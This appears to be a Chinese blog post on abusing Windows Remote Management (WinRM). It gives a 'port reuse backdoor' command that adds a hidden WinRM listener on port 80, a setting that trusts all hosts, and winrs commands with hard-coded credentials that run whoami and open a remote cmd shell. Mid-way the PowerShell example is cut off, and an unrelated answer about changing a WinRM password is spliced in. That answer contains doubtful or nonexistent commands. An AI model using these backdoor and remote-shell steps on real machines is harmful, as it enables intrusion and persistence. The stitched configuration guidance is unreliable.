Winrm远程命令/端口复用后门/WinrmCmd/密码爆破

简介

WinRM是WindowsRemoteManagementd(win远程管理)的简称。基于Web服务管理(WS-Management)标准,使用80端口或者443端口。这样一来,我们就可以在对方有设置防火墙的情况下远程管理这台服务器了。

Server2008R2及往上的系统中默认中都开启该服务,从Server2012系统后开始,该WinRM服务便被设置为默认开启。Win7系统中却默认安装此WinRM服务,但是默认为禁用状态,Win8系统和Win10系统也都默认开启WinRM服务。

PS:WIN7或2008需要手动开户WINRM

默认端口

5985/tcp (HTTP)
5986/tcp (HTTPS)

快速启动WinRM

winrm  quickconfig  -q 或 winrm qc

端口复用后门

对于Windows Server 2012以上的服务器操作系统中,WinRM服务默认启动并监听了5985端口。
通过下面的命令,可以新增WinRM一个80端口的监听。

winrm set winrm/config/service @{EnableCompatibilityHttpListener="true"}

PS:该方法适用于有web的机器,不会开启新端口,也不需要新的EXE进程或DLL劫持。

Winrs远程执行命令

需要客户端启用Winrm,SYS权限受限制

客户端启用Winrm

winrm quickconfig -q
winrm set winrm/config/Client @{TrustedHosts="*"}

远程执行CMD

通过Winrs连接,并执行whoami命令

winrs -r:http://192.168.1.20 -u:k8gege -p:k8gege520 whoami

通过Winrs连接,并获得交互式的shell

winrs -r:http://192.168.1.20 -u:k8gege -p:k8gege520 cmd

PowerShell远程执行命令

需要客户端启用Winrm,和系统自带命令一样,SYS权限受限制

$ip="192.168.1.116"
#$ip="192.168.1.20"
Set-Item WSMan:\localhost\Client\TrustedHosts -Value $ip -Force
$securePassword = ConvertTo-SecureString -AsPlainText
WinRM (Windows Remote Management) 是Windows系统提供的一种用于远程管理的功能。如果你想更改WinRM远程登录密码,可以按照以下步骤操作: 1. **打开命令提示符**: - 以管理员身份运行`cmd`或`PowerShell`。 2. **禁用并启用WinRM服务**: - 输入 `winrm stop` 来停止服务。 - 然后输入 `winrm quickconfig` 启动快速配置向导,它会询问安全设置。 - 或者你可以直接编辑WinRM配置文件,例如: ``` winrm set winrm/config/service/auth '@{Basic="true"; Kerberos="false"; Negotiate="false"}' ``` 3. **更改访问控制**: - 使用 `winrm set winrm/config/service/auth` 命令,添加 `-Transport` 参数指定协议(如HTTPS),然后输入新的用户名和密码,例如: ``` winrm set winrm/config/service/auth @{Basic="true"; Certificate_thumbprint="<your_certificate_thumbprint>"; Transport="https"} ``` 具体替换 `<your_certificate_thumbprint>` 为你的证书Thumbprint。 4. **设置凭据**: - 如果需要,你还可以通过 PowerShell 添加凭据以便自动登录: ```powershell $cred = Get-Credential # 提示用户输入新密码 Set-Item wsman:\localhost\client\Authenticators -Value "kerberos, negotiate, basic" -Force Set-WSManInstance wsman:/service/config/Listener[@Transport='https'] -Name 'Listener_8590' -SecurityProtocol kerberos, negotiate, basic -ClientAuthentication @{Basic=$cred} -ServerAuthentication @{Kerberos=$cred} ``` 完成上述步骤后,记得保存配置并重启WinRM服务,使其应用新的设置: ``` winrm start ```
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值